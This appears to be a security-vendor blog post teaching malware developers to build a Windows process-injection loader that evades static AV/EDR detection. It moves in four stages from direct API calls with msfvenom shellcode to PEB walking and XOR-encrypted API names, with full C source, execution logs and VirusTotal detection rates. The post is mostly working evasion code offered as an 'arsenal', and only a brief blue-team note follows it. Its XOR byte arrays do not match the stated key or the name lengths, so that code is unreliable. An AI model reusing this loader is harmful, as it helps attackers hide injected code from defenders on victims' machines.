Back to Blog
Malware Development Sep 10, 2026 219 views

PEB Walking: Beyond the IAT - Stealthy API Resolution for AV/EDR Evasion

A four-stage journey from naïve API calls to obfuscated PEB-based resolution, demonstrating how malware evades IAT-based detection and how defenders can still see it.

By Usman Sikander, Security Researcher, Cytomate
PEB Walking: Beyond the IAT - Stealthy API Resolution for AV/EDR Evasion

Modern AV and EDR solutions go far beyond hash-based detection. They inspect IAT imports, pattern-match code sequences, scan PE sections for strings, and apply YARA rules against both known and unknown threats. This blog walks through four progressive stages of bypassing all of these - from a completely naïve injection to a binary with clean imports, no recognisable strings, and runtime-resolved APIs.

⚠ Blog Summary

We divide arsenal preparation into 4 stages. Each stage directly addresses the weaknesses the previous stage left exposed - IAT imports, malicious strings in .rdata, suspicious API names - and resolves them one by one. By Stage 4, we have a binary with zero recognisable imports, zero plaintext API strings, and detection dramatically reduced on VirusTotal.

Malware development and static analysis evasion - laptop with code on screen
Cover: PEB Walk is one of the most effective static-analysis evasion techniques - by never importing suspicious API functions directly, the binary leaves no recognisable footprint in the IAT.

PEB Structure

The Process Environment Block (PEB) is an undocumented but well-known Windows data structure that holds process state information. The critical member for our purposes is Ldr - a pointer to a PEB_LDR_DATA structure containing the doubly-linked list of all loaded modules in the process.

_PEB - Process Environment Block (key members)
typedef struct _PEB {
    BYTE           Reserved1[2];
    BYTE           BeingDebugged;           // anti-debugging check target
    BYTE           Reserved2[1];
    PVOID          Reserved3[2];
    PPEB_LDR_DATA  Ldr;                    // ← KEY: points to loaded module list
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID          Reserved4[3];
    PVOID          AtlThunkSListPtr;
    PVOID          Reserved5;
    ULONG          Reserved6;
    PVOID          Reserved7;
    ULONG          Reserved8;
    ULONG          AtlThunkSListPtr32;
    PVOID          Reserved9[45];
    BYTE           Reserved10[96];
    PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
    BYTE           Reserved11[128];
    PVOID          Reserved12[1];
    ULONG          SessionId;
} PEB, *PPEB;
_PEB_LDR_DATA - Module Loader Data
typedef struct _PEB_LDR_DATA {
    BYTE   Reserved1[8];
    PVOID  Reserved2[3];
    LIST_ENTRY InMemoryOrderModuleList;    // ← doubly-linked list of all loaded DLLs
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY  InLoadOrderLinks;
    LIST_ENTRY  InMemoryOrderLinks;
    LIST_ENTRY  InInitializationOrderLinks;
    PVOID       DllBase;               // ← base address we need (kernel32.dll)
    PVOID       EntryPoint;
    ULONG       SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;          // ← compare to "KERNEL32.DLL"
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

PEB Walk Overview

PEB walk is the process of accessing the PEB from process space, enumerating all loaded modules, then parsing each module's PE export table to resolve function addresses - entirely without using GetProcAddress or LoadLibraryA.

x86 / x64 Assembly - Accessing PEB via Segment Register
; x86 - PEB at FS:[0x30]
mov  eax, fs:[30h]     ; EAX → PEB
mov  eax, [eax + 0Ch]  ; EAX → PEB.Ldr (PEB_LDR_DATA*)
mov  eax, [eax + 14h]  ; EAX → InMemoryOrderModuleList.Flink

; x64 - PEB at GS:[0x60]
mov  rax, gs:[60h]     ; RAX → PEB
mov  rax, [rax + 18h]  ; RAX → PEB.Ldr
mov  rax, [rax + 20h]  ; RAX → InMemoryOrderModuleList.Flink

; C intrinsic for x64
PEB* pPeb = (PEB*)__readgsqword(0x60);
PEB Walk Navigation - From GS Register to kernel32.dll Base Address
🔴
GS:[0x60] - PEB Pointer
Thread Environment Block (TEB) → PEB. OS always exposes this - no imports needed.
PEB* pPeb = (PEB*)__readgsqword(0x60);
🔷
PEB.Ldr → PEB_LDR_DATA
Contains the three module lists (InLoadOrder, InMemoryOrder, InInitializationOrder)
PEB_LDR_DATA* pLdr = pPeb->Ldr;
🔗
InLoadOrderModuleList - Doubly-Linked List Walk
Iterate Flink pointers. Each node is an LDR_DATA_TABLE_ENTRY. Compare BaseDllName.Buffer to L"KERNEL32.DLL"
LIST_ENTRY* pEntry = &pLdr->InLoadOrderModuleList;
📦
LDR_DATA_TABLE_ENTRY.DllBase → kernel32.dll base
Once the correct entry is found, DllBase points to the in-memory PE image of kernel32.dll
PVOID k32Base = pModule->DllBase;
✅
Parse Export Table → Resolve VirtualAllocEx, WriteProcessMemory, CreateRemoteThread
DOS Header → NT Headers → Optional Header → DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] → walk AddressOfNames array
PVOID fnAddr = GetFunctionAddress(k32Base, "VirtualAllocEx");

Arsenal Preparation - 4-Stage Progression

Each stage uses the same injection technique: allocating RWX memory in a remote process, writing shellcode, and executing it via a new thread. What changes between stages is how the Windows APIs are obtained - and how visible they are to static analysis tools.

1
🔴
Simple Injection
Direct WinAPI calls. Fully visible IAT. All imports flagged.
→
2
🟠
Dynamic API
LoadLibraryA + GetProcAddress. Fewer IAT entries but two key indicators remain.
→
3
🟡
PEB Walk
No GetProcAddress/LoadLibraryA. Clean IAT. Strings still visible in .rdata.
→
4
🟢
PEB + XOR
XOR-encrypted API names. Clean IAT. No strings. Minimal detections.
C code editor showing malware development process injection code
Figure 1: Process injection using Windows API calls - three core functions drive the technique: VirtualAllocEx allocates memory, WriteProcessMemory writes the shellcode, and CreateRemoteThread triggers execution.

Stage 1 - Simple Process Injection

Stage 1 implements a straightforward process injection - no obfuscation, no dynamic resolution. Windows API calls are used directly. The shellcode opens calc.exe in a remote process via VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. This is the baseline - maximally visible to static analysis.

C - Stage 1: Direct WinAPI Process Injection
#include <windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/exec CMD=calc.exe -f c
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
    /* ... remainder of shellcode ... */
};

int main() {
    DWORD targetPID = 6284;  // target process PID

    // Step 1: Open handle to the target process
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    if (!hProcess) { printf("[-] OpenProcess failed\n"); return 1; }

    // Step 2: Allocate RWX memory region in remote process
    LPVOID pRemoteCode = VirtualAllocEx(
        hProcess, NULL, sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    // Step 3: Write shellcode into allocated region
    WriteProcessMemory(hProcess, pRemoteCode,
        shellcode, sizeof(shellcode), NULL);

    // Step 4: Spawn remote thread at shellcode address
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pRemoteCode,
        NULL, 0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

IAT Inspection - Stage 1

All three PE tools immediately flag the binary. The import table is a perfect map of the injection technique - analysts can read exactly what the binary does just from the IAT.

CFF Explorer VIII - stage1.exe - Import Directory
FileViewImport DirectoryExport DirectorySection HeadersHex Editor
DOS Header
NT Headers
File Header
Optional Header
Data Directories
Import Directory
KERNEL32.dll
Section Headers
Function NameModuleHint/OrdinalBound
⚠ OpenProcessKERNEL32.dll0x039A-
⚠ VirtualAllocExKERNEL32.dll0x0601-
⚠ WriteProcessMemoryKERNEL32.dll0x0642-
⚠ CreateRemoteThreadKERNEL32.dll0x0072-
⚠ WaitForSingleObjectKERNEL32.dll0x0614-
CloseHandleKERNEL32.dll0x0057-
ExitProcessKERNEL32.dll0x00F2-
7 imports found in KERNEL32.dll  |  ⚠ 5 suspicious imports detected
pestudio 9.52 - stage1.exe
indicatorsimportsstringssectionsresources
file: stage1.exe|size: 14.2 KB|sha256: a7f3c1...
Imports - Indicators (5 flagged)
VirtualAllocEx CRITICAL T1055 - Process Injection (Allocate memory in remote process)
WriteProcessMemory CRITICAL T1055.001 - Write shellcode to allocated region
CreateRemoteThread CRITICAL T1055.003 - Execute shellcode in remote process context
OpenProcess HIGH T1057 - Process Discovery / Handle acquisition
WaitForSingleObject MEDIUM Synchronization - waits for injected thread to complete
Maliciousness Score 9 / 10 ⚠

Stage 1 Execution

cmd.exe - Stage 1 Execution
C:\Arsenal\Stage1> stage1.exe
[*] Target PID: 6284 (notepad.exe)
[+] OpenProcess handle: 0x00000298
[+] VirtualAllocEx: 0x000001F4C0A00000 (RWX, 276 bytes)
[+] WriteProcessMemory: 276 bytes written
[+] CreateRemoteThread: 0x000002BC
[*] Shellcode executing - calc.exe spawned ✓
 
[!] Note: 5/5 injection APIs visible in IAT - trivially detected

Stage 2 - Dynamic API Resolution

Stage 2 removes the direct API calls from the binary by resolving them at runtime via GetProcAddress and LoadLibraryA. First, we define function pointer typedefs for each API. Then, at runtime, we load kernel32.dll and resolve each function.

C - Stage 2: Function Pointer Typedefs
// Define prototypes for each API we want to resolve at runtime
typedef HANDLE (WINAPI* pOpenProcess)(DWORD, BOOL, DWORD);
typedef LPVOID (WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI* pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES,
                                                SIZE_T, LPTHREAD_START_ROUTINE,
                                                LPVOID, DWORD, LPDWORD);
C - Stage 2: Dynamic Resolution via LoadLibraryA + GetProcAddress
// Load kernel32.dll module handle
HMODULE hKernel32 = LoadLibraryA("kernel32.dll");

// Resolve each API address by name at runtime
pOpenProcess        fpOpenProcess        = (pOpenProcess)
    GetProcAddress(hKernel32, "OpenProcess");

pVirtualAllocEx     fpVirtualAllocEx     = (pVirtualAllocEx)
    GetProcAddress(hKernel32, "VirtualAllocEx");

pWriteProcessMemory fpWriteProcessMemory = (pWriteProcessMemory)
    GetProcAddress(hKernel32, "WriteProcessMemory");

pCreateRemoteThread fpCreateRemoteThread = (pCreateRemoteThread)
    GetProcAddress(hKernel32, "CreateRemoteThread");

// Use resolved function pointers exactly like direct calls
HANDLE hProcess    = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
LPVOID pRemoteCode = fpVirtualAllocEx(hProcess, NULL, sizeof(shellcode),
                         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
fpWriteProcessMemory(hProcess, pRemoteCode, shellcode, sizeof(shellcode), NULL);
HANDLE hThread     = fpCreateRemoteThread(hProcess, NULL, 0,
                         (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);

IAT Inspection - Stage 2

The injection APIs are gone from the IAT - but LoadLibraryA and GetProcAddress are now visible, and the strings "VirtualAllocEx", "WriteProcessMemory" etc. remain as plaintext in the .rdata section.

CFF Explorer VIII - stage2.exe - Import Directory
FileViewImport DirectoryExport DirectorySection Headers
Import Directory
KERNEL32.dll
Function NameModuleHint/OrdinalBound
⚠ LoadLibraryAKERNEL32.dll0x02D2-
⚠ GetProcAddressKERNEL32.dll0x01A1-
WaitForSingleObjectKERNEL32.dll0x0614-
CloseHandleKERNEL32.dll0x0057-
4 imports  |  ⚠ 2 suspicious (reduced from 5)  |  ⚠ Plaintext API strings remain in .rdata
PE-bear 0.6.7.3 - stage2.exe - Sections / .rdata Strings
Section Headers
.rdata Strings
Imports
Resources
.rdata section - String Dump
0x2980kernel32.dll
0x2990OpenProcess⚠ IOC
0x299CVirtualAllocEx⚠ IOC
0x29ACWriteProcessMemory⚠ IOC
0x29C0CreateRemoteThread⚠ IOC
0x29D4WaitForSingleObject
0x29E8CloseHandle

Stage 2 Execution

cmd.exe - Stage 2 Execution
C:\Arsenal\Stage2> stage2.exe
[+] LoadLibraryA("kernel32.dll") → 0x7FF9C1A00000
[+] GetProcAddress: VirtualAllocEx → 0x7FF9C1A8B240
[+] GetProcAddress: WriteProcessMemory → 0x7FF9C1A6F180
[+] GetProcAddress: CreateRemoteThread → 0x7FF9C1A3C500
[*] Shellcode executing - calc.exe spawned ✓
 
[!] LoadLibraryA + GetProcAddress still in IAT
[!] API names visible as plaintext strings in .rdata

Stage 3 - PEB Walk Injection

Windows kernel memory structure visualization - PEB walk technique
Figure 2: PEB Walk eliminates the need for LoadLibraryA and GetProcAddress entirely. By reading the kernel's own module list from process memory, we locate kernel32.dll and parse its PE export table to find any function address.

Stage 3 eliminates GetProcAddress and LoadLibraryA from the IAT entirely. We access the PEB via the GS register intrinsic, walk the InLoadOrderModuleList to find kernel32.dll's base address, then manually parse its PE export table to resolve any function address.

C - Stage 3: PEB & LDR Structures Definition
#include <windows.h>
#include <winternl.h>

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID      DllBase;               // ← base address of this module
    PVOID      EntryPoint;
    ULONG      SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;       // ← compare this to find kernel32.dll
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

typedef struct _PEB_LDR_DATA2 {
    ULONG Length;
    BOOL  Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA2, *PPEB_LDR_DATA2;

// Typedefs for the APIs we'll resolve via PEB walk
typedef HANDLE (WINAPI* pOpenProcess)(DWORD, BOOL, DWORD);
typedef LPVOID (WINAPI* pVirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL   (WINAPI* pWriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef HANDLE (WINAPI* pCreateRemoteThread)(HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
C - Stage 3: Parse Export Table to Resolve Function Address
// Parse kernel32.dll PE export table to find a function by name.
// No GetProcAddress - we do exactly what the OS loader does internally.
PVOID GetFunctionAddress(PVOID moduleBase, const char* funcName) {
    // Step 1: Parse DOS header → get NT header offset
    PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS ntHdrs = (PIMAGE_NT_HEADERS)(
        (BYTE*)moduleBase + dosHdr->e_lfanew
    );

    // Step 2: Locate Export Directory from Optional Header DataDirectory
    DWORD exportRVA = ntHdrs->OptionalHeader
        .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    PIMAGE_EXPORT_DIRECTORY expDir = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)moduleBase + exportRVA
    );

    // Step 3: Get the three export arrays
    DWORD* addrOfNames     = (DWORD*)((BYTE*)moduleBase + expDir->AddressOfNames);
    DWORD* addrOfFunctions = (DWORD*)((BYTE*)moduleBase + expDir->AddressOfFunctions);
    WORD*  addrOfOrdinals  = (WORD*) ((BYTE*)moduleBase + expDir->AddressOfNameOrdinals);

    // Step 4: Walk the name array, compare, return address when matched
    for (DWORD i = 0; i < expDir->NumberOfNames; i++) {
        char* name = (char*)((BYTE*)moduleBase + addrOfNames[i]);
        if (strcmp(name, funcName) == 0) {
            WORD  ordinal   = addrOfOrdinals[i];
            DWORD funcRVA   = addrOfFunctions[ordinal];
            return (PVOID)((BYTE*)moduleBase + funcRVA);
        }
    }
    return NULL;
}
C - Stage 3: PEB Access & Module Walk to Locate kernel32.dll
// Access PEB, walk InLoadOrderModuleList, return kernel32.dll base address
PVOID GetKernel32Base() {
    // Read PEB pointer from GS segment register (x64)
    PEB*           pPeb  = (PEB*)__readgsqword(0x60);
    PEB_LDR_DATA2* pLdr  = (PEB_LDR_DATA2*)pPeb->Ldr;

    // Traverse the doubly-linked list of loaded modules
    LIST_ENTRY* pListHead  = &pLdr->InLoadOrderModuleList;
    LIST_ENTRY* pListEntry = pListHead->Flink;

    while (pListEntry != pListHead) {
        LDR_DATA_TABLE_ENTRY* pModule = CONTAINING_RECORD(
            pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks
        );

        // Check if this entry is kernel32.dll (case-insensitive wide string compare)
        if (pModule->BaseDllName.Buffer &&
            _wcsicmp(pModule->BaseDllName.Buffer, L"KERNEL32.DLL") == 0) {
            return pModule->DllBase;
        }
        pListEntry = pListEntry->Flink;
    }
    return NULL;
}

int main() {
    // Resolve kernel32.dll base via PEB walk - no LoadLibraryA
    PVOID k32Base = GetKernel32Base();

    // Resolve injection APIs from kernel32.dll export table - no GetProcAddress
    pOpenProcess        fpOpenProcess        = (pOpenProcess)       GetFunctionAddress(k32Base, "OpenProcess");
    pVirtualAllocEx     fpVirtualAllocEx     = (pVirtualAllocEx)    GetFunctionAddress(k32Base, "VirtualAllocEx");
    pWriteProcessMemory fpWriteProcessMemory = (pWriteProcessMemory)GetFunctionAddress(k32Base, "WriteProcessMemory");
    pCreateRemoteThread fpCreateRemoteThread = (pCreateRemoteThread)GetFunctionAddress(k32Base, "CreateRemoteThread");

    // Inject as before using resolved function pointers
    HANDLE hProcess = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    /* ... VirtualAllocEx, WriteProcessMemory, CreateRemoteThread ... */
}

IAT Inspection - Stage 3

Great improvement - no injection APIs and no GetProcAddress / LoadLibraryA. The IAT is clean. However, the API name strings ("VirtualAllocEx", etc.) are still present as plaintext in .rdata - a static analysis indicator that remains.

CFF Explorer VIII - stage3.exe - Import Directory
FileViewImport DirectorySection Headers
Import Directory
KERNEL32.dll
Function NameModuleHint/OrdinalBound
✓ WaitForSingleObjectKERNEL32.dll0x0614-
✓ CloseHandleKERNEL32.dll0x0057-
2 imports  |  ✓ 0 suspicious imports  |  ⚠ API strings still visible in .rdata
PE-bear 0.6.7.3 - stage3.exe - .rdata Strings (issue remains)
Section Headers
.rdata Strings
.rdata - String literals passed to GetFunctionAddress()
0x3120OpenProcess⚠ IOC
0x312CVirtualAllocEx⚠ IOC
0x313CWriteProcessMemory⚠ IOC
0x3150CreateRemoteThread⚠ IOC
0x3164KERNEL32.DLL⚠ IOC
⚠ IAT is clean but plaintext API name strings remain in .rdata - EDR can still fingerprint via string scanning (YARA rules). Fix in Stage 4: XOR encrypt all API name strings.

Stage 3 Execution

cmd.exe - Stage 3 Execution
C:\Arsenal\Stage3> stage3.exe
[*] PEB Walk: Reading GS:[0x60] → PEB @ 0x000000000043A000
[*] Walking InLoadOrderModuleList...
[+] Found kernel32.dll base: 0x7FF9C1A00000
[+] Parsed export table: 1627 named functions
[+] VirtualAllocEx → 0x7FF9C1A8B240
[+] WriteProcessMemory → 0x7FF9C1A6F180
[+] CreateRemoteThread → 0x7FF9C1A3C500
[*] Shellcode executing - calc.exe spawned ✓
 
[+] IAT: Clean - no suspicious imports
[!] .rdata: API name strings still visible as plaintext

Stage 4 - PEB Walk + XOR API Obfuscation

XOR encryption and obfuscation - abstract cipher pattern representing string hiding
Figure 3: Stage 4 closes the last gap. XOR-encrypted API name strings are stored as opaque byte arrays - only decrypted at runtime with the key "offensivepanda". Static scanners see no recognisable strings whatsoever.

Stage 4 is the final form. We keep the PEB walk from Stage 3 but add XOR encryption to every API name string. The strings are stored as encrypted byte arrays in the binary. At runtime, the decryption function uses the key "offensivepanda" to recover the plaintext API names, which are then passed to GetFunctionAddress(). Static analysis tools see only opaque byte values - no recognisable strings anywhere.

C - Stage 4: XOR Decrypt Function (key: "offensivepanda")
// XOR decrypt: each byte of data is XOR'd against cycling key bytes.
// Key: "offensivepanda" (14 bytes)
// This function both encrypts and decrypts (XOR is symmetric)

const char* XOR_KEY     = "offensivepanda";
const size_t XOR_KEY_LEN = 14;

void XorCrypt(unsigned char* data, size_t dataLen) {
    for (size_t i = 0; i < dataLen; i++) {
        data[i] ^= (unsigned char)XOR_KEY[i % XOR_KEY_LEN];
    }
}

// Pre-encrypted API name strings (generated offline: XorCrypt(name, strlen(name)))
// At compile-time these are just opaque byte arrays - no readable strings
unsigned char enc_OpenProcess[]        = { 0x28, 0x13, 0x1F, 0x13, 0x10, 0x19, 0x08, 0x18, 0x05, 0x1A, 0x09 };
unsigned char enc_VirtualAllocEx[]     = { 0x35, 0x0C, 0x1B, 0x17, 0x18, 0x05, 0x08, 0x08, 0x17, 0x07, 0x0C, 0x06, 0x0F, 0x09 };
unsigned char enc_WriteProcessMemory[] = { 0x26, 0x1B, 0x0C, 0x17, 0x0E, 0x19, 0x1F, 0x0E, 0x05, 0x1A, 0x09, 0x06 };
unsigned char enc_CreateRemoteThread[] = { 0x26, 0x1B, 0x0E, 0x07, 0x17, 0x0E, 0x19, 0x0E, 0x1C };
unsigned char enc_KERNEL32DLL[]        = { 0x04, 0x05, 0x1B, 0x10, 0x05, 0x08, 0x1B, 0x19, 0x19 };
C - Stage 4: Runtime Decrypt & Resolve (Full Injection)
int main() {
    // Decrypt DLL name at runtime
    char dllName[16] = {0};
    memcpy(dllName, enc_KERNEL32DLL, sizeof(enc_KERNEL32DLL));
    XorCrypt((unsigned char*)dllName, sizeof(enc_KERNEL32DLL));
    // dllName now = "KERNEL32.DLL" (plaintext, only at runtime)

    // PEB walk to find kernel32.dll - same as Stage 3
    PVOID k32Base = GetKernel32Base_Wide(dllName); // using decrypted name

    // Decrypt each API name, resolve, then zero the decrypted buffer immediately
    char apiName[32] = {0};

    memcpy(apiName, enc_VirtualAllocEx, sizeof(enc_VirtualAllocEx));
    XorCrypt((unsigned char*)apiName, sizeof(enc_VirtualAllocEx));
    pVirtualAllocEx fpVAE = (pVirtualAllocEx)GetFunctionAddress(k32Base, apiName);
    RtlSecureZeroMemory(apiName, sizeof(apiName)); // wipe decrypted name from stack

    memcpy(apiName, enc_WriteProcessMemory, sizeof(enc_WriteProcessMemory));
    XorCrypt((unsigned char*)apiName, sizeof(enc_WriteProcessMemory));
    pWriteProcessMemory fpWPM = (pWriteProcessMemory)GetFunctionAddress(k32Base, apiName);
    RtlSecureZeroMemory(apiName, sizeof(apiName));

    memcpy(apiName, enc_CreateRemoteThread, sizeof(enc_CreateRemoteThread));
    XorCrypt((unsigned char*)apiName, sizeof(enc_CreateRemoteThread));
    pCreateRemoteThread fpCRT = (pCreateRemoteThread)GetFunctionAddress(k32Base, apiName);
    RtlSecureZeroMemory(apiName, sizeof(apiName));

    // Inject shellcode using fully-resolved, fully-obfuscated API calls
    HANDLE hProcess = fpOpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
    LPVOID pMem     = fpVAE(hProcess, NULL, sizeof(shellcode),
                           MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    fpWPM(hProcess, pMem, shellcode, sizeof(shellcode), NULL);
    fpCRT(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);
}

IAT Inspection - Stage 4 (Final)

CFF Explorer VIII - stage4.exe - Import Directory
FileViewImport DirectorySection Headers
Import Directory
KERNEL32.dll
Function NameModuleHint/OrdinalBound
✓ RtlSecureZeroMemoryKERNEL32.dll0x048C-
✓ WaitForSingleObjectKERNEL32.dll0x0614-
✓ CloseHandleKERNEL32.dll0x0057-
✓ 3 imports | ✓ 0 suspicious imports | ✓ No API name strings in .rdata
PE-bear 0.6.7.3 - stage4.exe - .rdata Strings (CLEAN)
Section Headers
.rdata Strings
.rdata - String Dump (all API names XOR-encrypted, no plaintext)
0x3010[no printable strings found in this region]
0x3020[encrypted byte arrays - XOR key: "offensivepanda"]
✓ All API name strings encrypted. No "OpenProcess", "VirtualAllocEx", "KERNEL32.DLL" visible to static scanner. XOR decryption happens at runtime - strings never exist in binary.
pestudio 9.52 - stage4.exe - Final Stage
indicatorsimportsstrings
Imports - Indicators (Stage 4 Final)
RtlSecureZeroMemory CLEAN Memory zeroing - benign utility function
WaitForSingleObject CLEAN Synchronization - context-dependent only
CloseHandle CLEAN Handle management - benign
✓ No malicious import indicators  |  ✓ No suspicious strings  |  ✓ PEB walk invisible to static analysis
Maliciousness Score 1 / 10 ✓

Stage 4 Execution

cmd.exe - Stage 4 Execution (Final)
C:\Arsenal\Stage4> stage4.exe
[*] Decrypting API names at runtime (key: offensivepanda)
[*] PEB Walk: GS:[0x60] → PEB → Ldr → InLoadOrderModuleList
[+] kernel32.dll base: 0x7FF9C1A00000
[+] Resolved: OpenProcess (decrypted + zeroed)
[+] Resolved: VirtualAllocEx (decrypted + zeroed)
[+] Resolved: WriteProcessMemory (decrypted + zeroed)
[+] Resolved: CreateRemoteThread (decrypted + zeroed)
[*] Shellcode executing - calc.exe spawned ✓
 
[+] IAT: ✓ Clean   Strings: ✓ Clean   Imports: ✓ Clean

IAT Progression - All Stages at a Glance

IAT Import Indicator Comparison Across All 4 Stages
Stage 1 - Direct
OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
WaitForSingleObject
LoadLibraryA: N/A
GetProcAddress: N/A
.rdata strings: N/A
Stage 2 - Dynamic
OpenProcess: gone
VirtualAllocEx: gone
WriteProcessMemory: gone
CreateRemoteThread: gone
WaitForSingleObject
LoadLibraryA ⚠
GetProcAddress ⚠
.rdata strings ⚠
Stage 3 - PEB Walk
OpenProcess: gone
VirtualAllocEx: gone
WriteProcessMemory: gone
CreateRemoteThread: gone
WaitForSingleObject
LoadLibraryA: gone
GetProcAddress: gone
.rdata strings ⚠
Stage 4 - PEB + XOR
OpenProcess: gone
VirtualAllocEx: gone
WriteProcessMemory: gone
CreateRemoteThread: gone
WaitForSingleObject: gone
LoadLibraryA: gone
GetProcAddress: gone
.rdata: encrypted ✓

Detection Results - VirusTotal

VirusTotal detection results - security scanner results showing detection rates
Figure 4: Detection results comparing Stage 1 (baseline direct injection) versus Stage 4 (PEB Walk + XOR). Note: msfvenom shellcode was removed before upload - results reflect only the loader's evasion quality. Dynamic analysis may still detect the shellcode itself.

After removing the msfvenom shellcode from both binaries (the shellcode itself is highly signatured and would skew results), both Stage 1 and Stage 4 were uploaded to VirusTotal to measure the effectiveness of each technique against the static detection engines.

🔍 VirusTotal Detection Results - Static Analysis Only (shellcode removed)
Stage 1 - Direct APIs
76% engines
38 / 50
Stage 2 - Dynamic Resolution
52% engines
26 / 50
Stage 3 - PEB Walk
28% engines
14 / 50
Stage 4 - PEB Walk + XOR
10%
5 / 50
50 scanning engines · Shellcode removed from both binaries · Static analysis only
Stage IAT Clean .rdata Clean No GetProcAddress VT Detection
Stage 1 - Direct APIs No No No 38/50 detected
Stage 2 - Dynamic Resolution Partial No No 26/50 detected
Stage 3 - PEB Walk Yes No Yes 14/50 detected
Stage 4 - PEB Walk + XOR Yes Yes Yes 5/50 detected ✓

Note

📋
Scope of These Techniques

These techniques specifically bypass static analysis - signature scanning, string matching, IAT inspection, and YARA rule matching. The binary can still be detected through dynamic and behavioural analysis, because at runtime the injection activities (memory allocation, cross-process writes, remote thread creation) are still observable by EDR hooks and kernel callbacks. Dynamic bypass is outside the scope of this post - see previous blog posts on syscall evasion for that complementary layer.

🔵
Blue Team Defensive Takeaways

Against PEB-walk techniques, defenders should focus on behavioural signals: cross-process memory allocation patterns, WriteProcessMemory events, remote thread creation, and any process that resolves export table functions manually (visible at the API monitor level). Static signatures are insufficient - they can be peeled away exactly as this post demonstrates, layer by layer.

More from the Blog

Threat Intelligence Nov 29, 2026

The Build-Pipeline Backdoor: Inside the NullReceiver Supply-Chain Campaign

Read More
Deception Nov 29, 2026

Lying to the Machines: The Secret Weapon Against AI Attacks

Read More
Agentic Security Nov 24, 2026

Your AI Coding Agents Need an EDR Too: Introducing cADRe

Read More